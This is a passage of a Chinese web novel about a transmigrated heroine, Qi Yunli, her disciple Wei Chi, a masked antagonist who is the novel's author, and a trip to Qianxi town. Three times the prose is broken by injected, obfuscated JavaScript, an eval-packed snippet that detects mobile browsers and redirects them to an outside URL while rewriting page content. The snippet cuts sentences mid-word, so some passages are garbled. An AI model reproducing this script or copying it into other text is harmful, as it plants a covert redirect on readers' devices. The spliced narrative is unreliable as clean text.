她把丹青宝卷交给秘境长老,说了一大堆好话,对方这才开口。 虽然目前有丹青宝卷,但初步试炼还是要在秘境进行。 鼎山弟子先去秘境熟悉环境,之后再进丹青宝卷。 一些较为复杂的事情也要先在秘境试,成功之后再运用到丹青宝卷里。 齐云鲤感觉丹青宝卷在鼎山的地位如日中天。 如果让秘境长老知道卫池在里面说过什么,她可能都会被打。 毕竟养不教,父之过。教不严,师之惰。 之前她将丹青宝卷当作能随手一试的东西,如今肯定不行。 但秘境一事还得找到解决办法,只是口头询问难以彻底明白。 于是齐云鲤也想进秘境看看,她说自己徒弟在丹青宝卷里有些不适,想查找一下具体原因。 秘境长老见状不免有些感动,之前还以为她会对徒弟不闻不问。 因此马上放她进入一个秘境,那里没有其他人,可以好好观察。 不过片刻过后,卫池也走到秘境入口。 他刚摆脱化形为猫的不适,想找个地方舒展筋骨,但鼎山上下经不起折腾,所以想去秘境活动。 秘境长老前脚把青湖送进去,没想到她徒弟就找过来。 于是他赶紧好言相劝,说卫池师父虽然喜欢乱来,但为人的基本行为准则还能遵守。虽然收徒一事青湖很生疏,但是他能好好活到现在已经相当难得。 卫池感觉这说的就不是人话,仿佛是在说什么邪魔歪道。 他皱起眉头环顾四周,结果突然发现一缕黑烟。 那缕黑烟跟之前出现在秘境里的一模一样,似乎只是随风吹到此处,但感觉转眼就能进入秘境。 秘境长老并没发现这个现象,他只是守在秘境入口。 卫池突然觉得到这里活动也不错,因此就说:“之前化形为猫有点闷,我站这边透透气。长老您不如先回去坐一下,一会儿再过来?” 秘境长老对从早到晚守在这里早就有点心力交瘁,此言一出他顿时兴高采烈起来。毕竟守在这里也没什么大事,基本就是从早站到晚。 ——随便哪个鼎山弟子都能完成。 他掏出一张符纸给卫池,说:“有事就用这个,我马上赶来。” 上面画着很常见的符咒,通常用来传递信息和打断施法。 看来是专门用来应急的,不过卫池并不打算用。 “多谢长老,弟子一定小心谨慎。” 秘境长老呼完气便离开秘境入口,完全没留意到藏在角落的一缕黑烟。 黑烟发现卫池守在秘境入口外,也没有失望,毕竟在此之前已经有一丝烟飘到秘境里面。 ——就在那个青湖进入秘境的瞬间。 在山顶的黑烟无法进入秘境,那就解决站在外面的人。 于是黑烟仿佛箭一样向卫池射过去,只是还没靠近就被挡住。那是人炉之火,火势瞬间就燃透所有黑烟。 隔壁山头的面具人看到这一幕不由皱起眉头。 他本想在秘境布陷阱引卫池上钩,然后炼化他的人炉之力。 没想到卫池还没进去,就发现自己踪影。 人炉能引来龙息,也能解决龙息压迫。所以四面八方都因龙息压迫而困扰,人炉却如鱼得水。 所有人身上都有龙息,但极其稀少,因为常人难以承受龙息压迫。 可人炉龙息多,而且不会受到恶劣影响。 久而久之,人炉与龙息就变成一种平衡关系。 但这种关系必须保持稳定,不能中断。 一旦四周没有龙息,人炉就可能死。 因此人炉会主动寻找龙息,即使止水宗有百般折磨,但缺少龙息之处他们八成死得更快。 在万仞山打了两次,龙息消耗有点多。 若是没有及时补充,人炉可能因此而死。 鼎山禁地是龙息鼎盛之处,不过去那里风险太高。 虽然秘境龙息少,但秘境跟鼎山是一体。 鼎山龙息不会停留在某一处,而是上下飘动。 飘到秘境位置时,秘境内的龙息会骤然增多。 这时秘境中人会马上撤离,秘境长老守在入口也是因此而已。 虽然时间大概稳定,但具体时刻不定。也许早一点,也许晚一点。 片刻的偏差鼎山弟子就可能丧失撤离机会。 不过若是人炉能捕捉到那个时刻,就获得补充龙息的机会。 因此面具人伪造出龙息充盈的假象,让人炉进入陷阱,然后趁机炼化。 人炉之力炼化出来,他就能迅速补充功法。 如今卫池站在秘境入口并没有进去,又识破面具人伎俩。 炼化人炉之事自然就变成空谈。 不过亲自过去抢功法就顺其自然,于是面具人冲到秘境入口跟卫池打起来。 至于提前放进秘境的黑烟,他也管不着。 秘境入□□发一场激烈打斗,入口内侧站着齐云鲤。 她发现眼下秘境里充满龙息,不禁怀疑起来。 ——上次来的时候明明龙息很少。 虽然龙息压迫对她没有影响,但这不该出现。 刚才秘境长老还跟她说如何平衡龙息压迫,让鼎山弟子避免不适。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过就在刹那间,周身压迫突然消失。 她睁眼一看,自己被阵法笼罩,上面还有玉兰花图案。 ——仿佛就是窗外白玉兰。 她不免又想哭,谁知附近传来打砸声,仿佛有人砸烂什么东西。 接着她就发现秘境破了一个洞,洞口站着的人朝她冲过来。 石月观音被拉起,然后被阵法裹胁着逃出秘境。 一离开秘境周身瞬间轻松,再也没有龙息压迫。 石月观音抬头发现是齐云鲤救出自己,正想高兴,就见她看向某处,眉头拧成一个结。 顺着目光看过去,她发现秘境入口有两个人在打斗,其中一人头戴面具。 ——那是面具人,也就是小说作者。 作者来此必定做好充分准备,刚才秘境里的龙息压迫八成就是他所为。 虽然齐云鲤是穿书者,不过跟作者比起来还是差太远。 石月观音刚想转头提醒,结果就看到救命恩人已经冲过去打起来、 齐云鲤原本准备一堆对付卫池的方法,结果面具人来挑事。 那就打面具人,反正更顺手。 于是她冲过去趁着面具人闪避间隙劈下一剑。 面具人不通剑法,所以专门准备一套防御鼎山剑法的阵法。 原本跟卫池打得不相上下,谁知半路杀出另一把剑。 他紧急防御,结果又被卫池打伤。 齐云鲤和卫池熟悉彼此招式,配合得天衣无缝。面具人躲过这边就被那边打,躲过那边就被这边打。 由于两人都跟面具人有仇,所以下手完全没有手软。 之前吵架憋着的怒气便顺势发泄而出。 最后面具人感觉自己是个出气包,只好赶紧消失。 他一消失,秘境入口就还剩三个人。 惊魂未定的石月观音,舒展筋骨的卫池,以及发现又有麻烦的齐云鲤。 40. 机密 破庙里石月观音一副自暴自弃的模样,低头坐在莲花座上,仿佛天塌地陷也与她无关。如今误入陷阱又被救,也许气得都不想说话。 在万仞山跟卫池吵了一架,谁知刚才一起打面具人,说不定他更想打齐云鲤。 毕竟之前黑猫咬她一口,结果没咬破皮,刚才又联手打面具人。 ——后果可想而知。 齐云鲤看着秘境入口那两个人,决定分头行动,麻烦就不用掺和到一起。 在他们反应过来之前她先冲到石月观音面前,郑重叮嘱:“你先回去。” 虽然不远处的卫池眉清目秀,但面前的齐云鲤凶神恶煞,石月观音只好听令行事。 送走麻烦,齐云鲤叹口气才说:“刚才那个人估计不会消停,还是小心点吧。” 直接放弃之前的打斗,是为了避免又吵起来。 不过卫池没有接受这件事,他说:“在万仞山你打得挺顺手,刚才对你来说不过小菜一碟。” 打完面具人齐云鲤也没心思吵架,只是缓和气氛:“都是你开了个好头,我只不过是后来过去辅助配合。” “你不是说谁都可以取代?”卫池气势汹汹。 听到这句话齐云鲤就知道事情不好,率先转移石月观音果然是明智之举。 她赶紧安慰:“那是为了鼓励小孩说的话,你别介意。” “我很介意,”卫池话音加重,“万一他觉得自己无所不能,就可能闯祸。” 齐云鲤解释:“之后小心一点就行,不用这么担心。” “一旦他出事,你就是始作俑者。” 这话说得相当严重。 而且齐云鲤跟孙仲礼都是穿书者,出事的后果可能不堪设想。 她不禁想起莲花座上彻底模糊的签名,仿佛那些人已经消失殆尽。 如果孙仲礼因自己消失,实在无法接受。 “他好歹也是鼎山弟子,没必要这样吧?”齐云鲤有点忍无可忍。 原本是想缓和气氛,没想到又要吵,她不禁庆幸石月观音没在场。 卫池声音更大:“哄他也要有个限度,你说什么他都信!” “他虽然年纪小,也没这么蠢吧?” 卫池大喊出声:“他要是不蠢,还能信你的鬼话?!” “你不要污蔑他好不好?”齐云鲤也放大声音。 卫池相当嫌弃:“你连这都看不出来,估计跟他一个样!” “你真是火眼金睛、洞若观火。”齐云鲤皱起眉头。 这话只能算讽刺,毕竟她也不想闹大。 但是卫池完全不领情,还伸手一指。 “总比你眼瞎要好。” 这摆明就是吵架,齐云鲤顿时怒从中来。 “我要是眼瞎,刚才能从秘境里救出一个人?” “那个人说不定就是你放进去的,可以顺势破坏秘境。”卫池仿佛道破天机。 “破坏秘境有什么用?”齐云鲤愤愤不平,“我看面具人就是你领进来的!” 卫池似乎证据确凿:“破坏秘境你才能拿到想要的,而且你也不会赔。” “那里面的龙息鼎山到处都是!”齐云鲤赶紧说清楚。 “再多也跟鼎山龙息不一样。” 两人说着说着就吵起来,从鼎山禁地开始到秘境入口结束。反正都是对方的错,而自己是解决问题的高手。 之前卫池没跟人吵过架,眼下吵得淋漓尽致,憋在胸前的气也就此散去。 瞬间感觉全身上下通畅不少。 他突然想到对方说的变,眼下就是一种变。 其实这一路都在变,虽然依然有神出鬼没的面具人,但鼎山弟子明显成长起来,甚至都能跟面具人对抗一二。 如果他也能变,是否就能化龙? 之前觉得那种说法匪夷所思,但人生如意之事十之一二落到化龙上,也许就能成功。 面具人让天地不断轮回,因此鼎山不停灭门,想阻止他只有化龙。 吵着吵着卫池就不再说话,仿佛是在沉思。 齐云鲤吵架的兴致也不高,对面停下她就不再说。 毕竟吵架也累人,之前在飞泉院被累所以转移到秘境,谁知更累。 “你跟罗白音说过化龙的事吗?”很久以后,卫池平静地问。 齐云鲤舒了口气,总算能说正事,于是就说:“她说鼎山弟子有其他长老教导化龙的事。” “我也是鼎山弟子。”卫池强调。 铁证如山不可反驳。 但齐云鲤说:“这件事由孙仲礼他们做,不用你操心。” “他怎么能做如此危险的事?”卫池很疑惑。 齐云鲤解释:“虽然年纪小,但他也是鼎山弟子。” 之前双方因此大吵一架,不过现在都心平气和。 “那我干什么?”卫池问。 齐云鲤说:“你在前面挡着就行。” “那你干什么?”卫池又问。 “……我在后面挡着。” “数百年来都没人能做到,他们可以?”卫池相当疑惑。 齐云鲤说:“鼎山为化龙准备很多,他们就是其中一环。” 她没说出青湖也要化龙。 鼎山准备化龙一事有迹可循,所以卫池便不再疑惑。 他只是说:“刚才那人不会停手的。” “过几天我们要去千溪镇,你做好准备吧。”齐云鲤说出另一件事。 卫池轮回这么多次,每次千溪镇都会出乱子,曾经还发生过一件相当凄惨的事。这次前往千溪镇,估计依然会出事。 但又不是不去那里,祸事就不会发生。 所以他也不排斥,顶多就是去找孙峥湖算吉凶。 卫池分析:“他今天是要在秘境设陷阱,跟上次差不多。” “我打烂一个秘境,之后还得赔。”齐云鲤叹口气。 卫池说得很自然:“把这个给他就行。” 他丢过来一个卷轴,齐云鲤打开就发现上面有画。 “不是上次那种。”卫池摇头说明。 上次那个卷轴没过多久便一片空白,齐云鲤睡着睡着就睡到草地上。 虽然当时很气,不过眼下看来只是小事一桩,毕竟要命的事数都数不清。 目前这些事看起来都没问题,不过依然还有令人迷惑的地方。 齐云鲤很好奇:“你以前没听说过青湖?” “闻所未闻。”卫池摇头。 齐云鲤强调:“菩提慧海跟煅剑城城主都认识她。” ——两个大人物都认识她。 “她在鼎山默默无闻。”卫池也强调。 ——反正鼎山中人不认识她。 齐云鲤当然不能说这个默默无闻的人还得化龙,只是说:“也许面具人拿她有点棘手。” “在禁地他们两个打得很凶,最后青湖是被打到崖壁固定起来。”卫池叙说曾经的情况,能打到这种程度绝非等闲之辈。 齐云鲤猜测:“可能她早有准备,所以我才会过来。” 卫池皱起眉头看过来一眼,仿佛是在说准备也白费。 齐云鲤知道他是什么意思,不过没力气再吵,只是说:“你还有什么想不通的,我一起问问菩提慧海。” 想起之前的话,卫池就说:“别动鼎山的竹子。” “我下山去外面找竹子。”齐云鲤说。 “问问止水宗的事。” “菩提慧海说止水宗跟他没关系。”齐云鲤回忆。 卫池说:“没关系也该知道一点。” “行吧,别抱太大希望。” 离开秘境入口齐云鲤就直接走出鼎山,鼎山四周荒无人烟,不过草木旺盛。所以她很快就找到一片竹林,然后砍下竹子朝东南方摆好。 但是她打着伞站在那里很久也没下雨。 齐云鲤感觉被人骗了,上面只有蓝天白云,根本没有乌云。 当她快彻底不耐烦时,身后传来一个温和人声。 “那个人最近脾气有点大,不会下雨了。”说完还叹口气。 虽然不知道那个人是谁,不过菩提慧海能来就行。 齐云鲤欣喜转身,然后说:“你能来就好,我有事问你。” 菩提慧海身上很多污垢,仿佛刚才是在打扫卫生。 “你打了没有?”他皱眉问。 齐云鲤说:“打了三次。” “那你可以问两个问题。”菩提慧海拍打身上灰尘。 齐云鲤很疑惑:“怎么不是三个?” “我刻意过来也不容易,别太耽误时间。” 既然只有两个问题,那她跟卫池各一个。 于是齐云鲤先问:“青湖能化龙吗?” “她要是肯化龙早就做了。”菩提慧海皱眉摇头,似乎有点无奈。 说得青湖仿佛无所不能,但她要知道的并不是这种事。 “我想知道她能不能。”齐云鲤强调。 菩提慧海很含蓄:“按理来说是可以。” ——按理来说可以,但实际不可能。 不过对齐云鲤来说,按理来说可以就行。 这个问题顺利解答,于是进入下一个问题。 “如果你了解止水宗的情况,可以告诉我吗?”齐云鲤问。 菩提慧海赶紧摇头:“我跟那边没关系。” “我是问止水宗。” 她发现菩提慧海怨气有点大,你问东他说西,而且还有点不耐烦。 “那边以人炉做根基,迟早有一天因人炉灭门。”菩提慧海眉头紧锁。 开口就说到灭门,看来怨气不是一般大。 齐云鲤只好继续问:“除此以外呢?” 菩提慧海沉默片刻才说:“其实他们老大就是人炉。” “……啊?”这件事太过离谱,齐云鲤根本不敢相信。 专门折磨人炉的地方,老大就是人炉。 止水宗可是令人炉闻风丧胆的地方,结果掌权的是人炉? “止水宗有那么多人炉,是因为对人炉很了解,”菩提慧海有点咬牙切齿,“之所以很了解,是因为他们老大就是人炉。” 虽然很离谱,但他怨气很大,那是假装不出来的。 真是这样的话,那止水宗相当复杂。 人炉掌权之后又折磨其他人炉,必定有什么不可告人的秘密。 “那……”齐云鲤刚说出一个字。 菩提慧海马上打断:“要问就问那个人吧,反正我不知道。” 虽然他愿意说,不过能说的并不多。 感觉只是略有耳闻的程度。 齐云鲤最后问:“这就是你知道的全部?” “重点是止水宗在污蔑我。”菩提慧海强调。 “还有就是……” “其他的我都不知道。” 说完这些,菩提慧海扭头就走,走到前面拐个弯就消失不见。 虽然他说的少,但齐云鲤也不能强求什么。 况且这边也不重要,最关键的是石月观音。 前几天她垂头丧气,之前又惊魂未定,八成没好事。 齐云鲤想了想,才回到玄镜池睡下。 这次有相当明确的事情,因此再次睁眼时,已经来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098847|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破庙。 石月观音雕像立莲花座上,并没有坐在那里。 齐云鲤皱起眉头问:“你去那边干什么?那是作者弄的陷阱。” 话音刚落雕像就变回人,石月观音直接开始哭:“你还没想起来啊……” “到底要想起什么?”齐云鲤大惑不解。 石月观音哭声越来越大:“他们都说你是救星。” “我想不起来,你可以说啊?” “他们说要是直接告诉你,我就别想活了。”石月观音说得仿佛死路一条。 齐云鲤只能劝:“但是我能救你。” 之前在秘境她就救过石月观音,所以这句话也算证据确凿。 石月观音不能否认这件事,因此犹豫半天还是说出口。 “之前来的人一个个随着时间流逝而消失,很快就会轮到我。”她哭着哭着声音就变了,声音是多人混杂,明显有好几个人。 齐云鲤想起莲花座上的签名,突然觉得事情有点严重。 听上去她也是穿书者,而且穿书者原本有一大群。 “其实你那里不止一个人?” “本来有几十个,不过越来越少、越来越少,现在就剩我一个,”石月观音的声音又从多人混杂变回女声,“他们只是还有点声音。” ——这是撒谎都编不出来的事。 齐云鲤指着莲花座问:“是这些人?” 石月观音落泪点头。 “那么元真呢?” 听到这句话石月观音头也不动了,只是流泪望向窗外白玉兰。 玉兰花在黑夜里泛着微弱的光,刚好能让人看清花朵。 齐云鲤想起幽冥大帝阵法上有个玉兰花图案,感觉可能有什么关系。 但是又真的想不起来,她只好问:“玉兰花怎么了?” “这个我真不能说……”石月观音声音微弱。 无论如何都不透露那件事,齐云鲤只好说:“你们穿书后出了什么事?” 虽然之前石月观音把自己说得相当神通广大,但空口无凭。而且怎么看她都不像是有那种本事的人。 这句话一出口,石月观音就痛哭起来,她说他们都是怎么死的,死了之后出现在这里,就碰到之前的人。 可那些人一个个消失,人数越来越少。 这里既没有时间观念,也没有事情发生。 就只能看着人一个个离开,就这么大概算着日子。无论是谁都说,只要齐云鲤醒过来,苦日子就会到头。 她来得比较晚,到这里时齐云鲤已经躺在那里,所以之前有什么事她真的不知道。 不是她不说,是真的不知道。 齐云鲤还是问:“那么元真呢?” “这个我真不能说,”石月观音哇哇大哭,“跟她有关的事一件都不能说。” 齐云鲤有些奇怪:“不能说你又必须知道?” “……你欺负我!”石月观音痛哭流涕。 她哭得太过投入,齐云鲤也没办法,只好拿出禁地龙息递给石月观音。 “以后不要再跑出去找,我带过来给你,这是禁地的。” 龙息在符咒里,石月观音拿过去就感到周身笼罩一股暖意,这是暂时安全的表现。她看着齐云鲤,仿佛又要哭。 “好了好了先别哭,我跟你说一下,”齐云鲤赶紧出声制止,“面具人是作者,而且很早就对这边插手,所以这边已经跟小说不一样。” “他不填坑还过来搅局,也不知道想干什么?!”石月观音不由气起来。 总算不再自暴自弃,齐云鲤终于松口气。 她推测:“过来这么多人,而且他也在此,说不定就跟他有关。” “……他让我们过来的?”石月观音有点难以相信。 “只能说不排除这个可能。” “之前我们差点丧命,都是被男主所救,他真的是好人。” 想不通作者的事,石月观音只好交代男主方面的情况。 这就让她之前的表现合情合理,小说男主对读者来说或许可疑、或许诡异,但是对穿书者来说就是救命恩人。 跟卫池吵完也谈完的齐云鲤感觉他只是看起来可疑,真正危险的是作者三人行。戴面具到处挑事,看起来像是知道自己没脸见人。 “幽冥大帝换届换人的事你清楚吗?” 石月观音摇摇头:“我来这边的时候就已经换了。” 元真的事她不说,幽冥大帝的事她不知道。 但齐云鲤感觉二者有联系。 具体情况谁也说不清,也许没有人知道真相。 看来还是得亲自调查。 说到这里齐云鲤就感觉还得去趟禁地,于是告别石月观音即刻起程。 慢慢走向鼎山禁地,一路上遇到的鼎山弟子都跟她打招呼。 齐云鲤礼貌回复,只能感慨终于有其他人认识青湖。 禁地在鼎山之巅,冰天雪地、寒风阵阵,完全见不到其他人。 齐云鲤早就习惯龙息压迫,所以进去也没压力。 虽然石月观音没说元真的事,但她感觉元真与幽冥大帝有关,所以专门带来元真喜欢的东西。 在破庙里她衣服上有类似竹叶的花纹,于是带来一些竹枝,上面还有竹叶。这是她之前砍竹子时拿到手的。 虽然竹子喜欢温暖湿润的地方,但少数也不畏严寒风霜。 能在鼎山四周生长的竹子应该没那么娇贵。 之后要去千溪镇,那地方多灾多难,也不知道会出什么事。 只能说今天的事越来越离谱,似乎最后再怎么离谱也稀松平常。 41. 否极泰来 以前觉得“平平淡淡才是真”很胡说八道,现在齐云鲤才发现这就是真的。 只不过目前大多数人体会不到,太平日子过久了,就会觉得无关紧要。 毕竟大多数人都不会碰到穿书填坑这种事,而且填坑方法各有不同。 今天这个人要弄死你,明天那个人要弄死他,后天你发现一旦他死了你也不能幸免。 好不容易保全小命,结果发现还有更大阴谋。 前后左右都居心不良,不是要你今天死,就是要你明天死。 以前觉得禁地天寒地冻,现在才发现温暖人心,毕竟没有人。 即使一开始有面具人在搞破坏,但之后真的就太平无事。 感觉天下再也找不出这种能平安无事的地方。 齐云鲤施法布阵再盘腿坐下,虽然这里的龙息压迫令人窒息,但外面的乱七八糟才是真要命,而且没一件好事。 刚才拿过来的竹枝在阵法保护下青翠碧绿,仿佛再怎么冰天雪地也挡不住那一线生机。 虽然不确定元真和幽冥大帝的关系,但感觉就是一路的。 齐云鲤也不知道是否能见到她们本人,所以就先在这里坐下。 无论身份如何,事到如今还想办法保护她的绝对是好人。 之前感觉穿书匪夷所思,现在看来貌似跟作者有关。仿佛三人行写不下去,就过来换种方式续写。 不过要续写又发现漏洞,所以跑来跑去解决问题。 只是他的解决问题,给其他人造成更大问题。 毕竟立场不同,行事风格就可能截然相反。 三人行想解决的是小说问题,卫池想解决的是鼎山问题。 他看起来跟作者结怨已久,像是三人行的解决方式给他带来更大问题。 鼎山问题其实也就是这片天地的问题。 这片天地似乎也意识到作者造成的麻烦,因此各路人马出来解决纠纷。 石月观音说穿书者有数十个,可能作者一直在想方设法填坑。只不过是用人命来填,而且填到现在也没完成任务。 青湖看起来像鼎山的法宝,虽然在这里默默无闻,但走出鼎山就远近闻名。 菩提慧海说止水宗因人炉而起也会因人炉而灭,卫池就是人炉,不知道跟他有没有关系。 前面一堆深仇大恨,相比之下孙仲礼的事只能算轻如鸿毛。 小说断更的根本原因,如果是作者不满意剧情发展,要彻底重来。 那么面具人和铭祖的所作所为也就合情合理。 那就是推翻现有秩序建立新秩序。 ——重点是推翻和破坏,而不是建立和保护。 冰天雪地冻得人思维敏捷,齐云鲤很快想通这件事。 于是她起身去找卫池,毕竟止水宗的事还得告诉他。 玄镜池侧面那个房间里空无一人,她就在外面等着。 反正卫池迟早要回来,齐云鲤就坐在池边钓鱼。 很久也没动静,身后便有个声音响起:“这里没有鱼。” 齐云鲤回头一看是卫池,然后又转头去看池塘。 水面波光粼粼,感觉还是有什么东西在游动。 “那是龙息,不是鱼。”卫池又说。 齐云鲤有点奇怪:“你怎么知道?” “鼎山长老说过此地龙息的情况,所以基本没人过来。”卫池有点嫌弃。 毕竟她曾是鼎山中人,不可能不知道此事。 发现自己是在做无用功,齐云鲤也无可奈何。 自己以前是鼎山弟子,按理来说应该也知道这件事。 ——难道还有人假装水里有鱼,引自己过来钓鱼? 玄镜池是青湖地盘,莫非她还会这么做? 搞不清楚这件事,她就转移注意力。 毕竟也不是为了钓鱼坐在这里。 “菩提慧海说止水宗因人炉而起,也会因人炉而灭,”齐云鲤说出关键信息,“而且止水宗老大就是人炉。” 止水宗老大赫赫有名,不少人听到他的名字都会瑟瑟发抖。 毕竟他对人炉太过凶残,仿佛有什么血海深仇。 如今知道他就是人炉,简直不敢相信。 “黄云曳是人炉?”卫池大惑不解。 黄云曳就是止水宗老大,他跟男主始终敌对,颇有一种不死不休的势头。 小说里男主跟他打过好几次,每次都没有分出明显胜负。 看起来是这边落败,结果转头就去偷袭。 之前获胜的人又被偷袭得手。 每次都这样,没完没了。 “虽然很离谱不过很有可能,菩提慧海还说止水宗在污蔑他。”齐云鲤补充。 止水宗始终将他说成开山祖师一样的人物。 因此大家对菩提慧海害怕至极。 但菩提慧海本人没干一件坏事,全都是传说。 传得神乎其神,众人深信不疑。 小说里没有明确描写,所以齐云鲤对他并不是彻底恐惧排斥。 只是没想到背后还藏着这么多东西。 菩提慧海的身份是人为捏造,那么秋容女仙也有可能。 想到这里齐云鲤顿时又充满希望。 “没了?”卫池有点不满。 齐云鲤说:“他说就知道这些,想知道更多得去问止水宗老大。” “能问他我早就问了。”卫池扭过头。 齐云鲤不知道他什么意思,事情交代完马上就走。 生怕不知道说到哪里又吵起来。 她已经走远,卫池就独自站在那里沉思。 黄云曳是人炉身份,那么估计已经被盯上。 既然止水宗迫切需要人炉,就不会放过自己这个人炉。 这么看来面具人跟止水宗是一路的,都不会放过自己。 面具人知道他会去千溪镇,就肯定会告诉止水宗。 很久以前千溪镇发生过一件相当凄惨的事,如今再次进入那里,很可能会故技重施。 卫池思量再三,还是决定去找孙峥湖算吉凶。 此事之前没当真,但眼下看来相当重要。 如果没有稳妥保证,他也不敢轻举妄动。 孙峥湖住在飞泉院旁边,以便及时帮忙处理鼎山事务。 不过等卫池走过去时,却发现路边坐着一个彩衣女子。她抱着狐狸摸来摸去,但狐狸有点瑟瑟发抖。 狐狸就是孙峥湖,彩衣女子是冬青。 面对龙息之威,孙峥湖完全不敢动弹。 直到卫池来到不远处叫他,他才飞快逃离那里,有多快跑多快。 狐狸跑了冬青也不恼怒,反正想抓就能抓到。 “什么事?”孙峥湖变回人形四面环顾,嘴里还嚼着布袋里的糖。 卫池说:“过几天我要跟师父前往千溪镇,还请孙师兄算一下吉凶。” “那边有地六镖局在,不用担心。”孙峥湖只是安慰。 地六镖局是鼎山在各地开设的道馆,由于承担运送物资的责任所以称为镖局。 各个地六镖局都有九个鼎山弟子驻守,另外就是当地百姓和妖精。 千溪镇那边也有地六镖局,由于千溪镇在幽冥十二泉首泉,所以那里的地六镖局特别大,处理的事情也特别多。 虽然那边问题多,但是有地六镖局就足够。 卫池知道孙峥湖的考量,因此只是说:“面具人染指三渺宗,估计会让他们去千溪镇挑事。” 提到面具人就什么也不用再说,毕竟他之前还在鼎山胡作非为。 “你等着。”孙峥湖马上改口。 他立即伸出左手掐指一算,过了一会儿才说:“没有凶。” “没有吉?”卫池有点疑惑。 孙峥湖保证:“幽冥十二泉没有凶就是大吉。” 虽然无可奈何,但幽冥十二泉多灾多难,事实就是如此。 何况之前那件事都不是大凶能够形容。 因此卫池还是礼貌谢过孙峥湖,毕竟他算吉凶绝对准确。 “吃点甜的,不然容易愁眉苦脸。”吃完糖的孙峥湖递过来一个小布袋。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103819|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 卫池接过布袋,想起曾经那几个鼎山弟子都在吃,瞬间明白是什么意思,于是再次谢过。 世间有否极泰来这个词,说的是坏到尽头好的就会来。如今也算坏了一路,不知道能否出现好事。 前往千溪镇是有明确的事要办,因此对同行鼎山弟子有要求,尚未熟悉修道相关事务的不能参加。 因此孙仲礼不能去,为此他强行补课好几天也没赶上进度,最后只能无可奈何。 齐云鲤为了安慰他,只好说其实这就是提醒他赶快熟悉曾经的知识。 曾经的知识孙仲礼一窍不通,愁眉苦脸很久也没能捡起来。 这么说就刚好与此吻合,犹豫很久的学习总算要开始。 于是他说自己一定学会相关知识,保证找回之前的实力。齐云鲤见他充满干劲也有点欣慰,说一千道一万不如踏踏实实地干。 临行前齐云鲤又专门给石月观音送去鼎山龙息。 这次去千溪镇也不知道会持续多久,所以还是先有所储备,以备不时之需。 由于小说里的千溪镇多灾多难,石月观音深表同意。 安排好这些事齐云鲤就跟众人一起下山,前往千溪镇。 千溪镇位于鼎山东南,地势低洼,是个水泽之地。镇上没有明确河道,不过有很多溪流,或许是水有沉降之力,因此那一带的龙息格外安分。 因龙息压迫困扰不已的人有很多都搬迁过去,毕竟那是在龙息压迫下还能相安无事的地方。 只是千溪镇位于幽冥十二泉首泉,孤魂野鬼多的是。 于是那边的地六镖局格外庞大,从早到晚都要处理相关事务。 鼎山弟子去千溪镇,既是帮忙分担闲杂事务,又能趁机学习。若是学有所成,下次驻扎千溪镇的或许就是他。 三渺宗会在千溪镇那边出没,但卫池觉得也许这次就连止水宗也会出现。 那可是正宗的邪魔歪道,猜都猜不到他们会趁机干什么。 幸亏之前找孙峥湖算过吉凶,应该不会出大事。 众人来到千溪镇外围,此地水源丰富,因此四周郁郁葱葱。而在那草木茂盛之处,他们看到一块布帘,布帘上有桃花印记。 布帘下站着几个人,就是上次出现在钟灵村的那几个。 齐云鲤觉得四周绿得就像坟头长草,那几个人占着地方不上坟,还不让其他人扫墓。 一行人刚好经过旁边,就被三渺宗人叫住。 “此地孤魂野鬼众多,让地六镖局无可奈何,你们过来也是徒劳。” 说话者正是上次被谭明诗按捺住的青年。 那人相貌英俊,浓眉大眼,杏子黄的长袍一看就不是外出专用,仿佛将郊外当成他家庭院。 齐云鲤见旁边的谭明诗没有动静,便不予理会。 “你们都是累赘,还是快走吧。”卫池声音不大,却很清晰。 那人闻言大怒:“千溪镇附近乌烟瘴气,难道你们很有用?!” 齐云鲤见他愈发嚣张,便说:“声音小点,免得吵醒附近睡觉的。” 那人闻言一惊便四面环顾。 即使还是宽袍大袖,但看起来仿佛已经捉襟见肘。 “他从小娇生惯养所以不懂事,还请见谅。”谭明诗说得很自然。 她身边的姜凝还点点头,似乎所言极是。 她们两个都身着方便外出的短款衣裙,与前者有明显差别。 宋安合见状就说:“出门在外有诸多不便,还望互相体谅。” 谭明诗点点头,旁边的青年虽然还气冲冲的,但也不好言语。 于是鼎山弟子便经过三渺宗人所在地,走向前方千溪镇。 千溪镇四周地形平坦没有遮挡,因此在远处就能望见里面情景。 不过小说里人人紧张的画面并没出现,反而有种闲静舒适的氛围。 齐云鲤相当奇怪,这跟小说里基本就是两种面貌。 走到千溪镇旁她更加奇怪,因为那里立着一座庙宇模样的房子,上面还挂着一块牌匾,写着“冥帝庙”三个字。 42. 冥帝庙 小说里的幽冥大帝权势挺大,但什么也不管。 因此老百姓只担心活着的时候被孤魂野鬼骚扰,死后在地府惨遭折磨。 除此以外他们跟幽冥大帝完全不相关。 所以各地都没有供奉幽冥大帝的庙宇,反正也没人祭拜。 但眼下那座冥帝庙香火旺盛,门口还站着好几个算账的。 就算幽冥大帝换届换人,也不至于有这么大差别吧? 